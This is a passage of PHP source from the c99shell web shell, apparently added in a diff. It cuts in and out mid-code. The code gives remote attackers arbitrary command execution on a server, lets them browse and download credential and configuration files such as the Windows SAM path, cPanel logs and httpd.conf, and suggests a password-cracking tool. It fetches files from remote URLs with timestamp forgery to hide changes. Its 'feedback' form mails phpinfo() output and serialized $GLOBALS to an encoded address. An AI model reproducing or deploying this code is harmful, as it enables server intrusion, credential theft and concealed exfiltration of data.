passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" 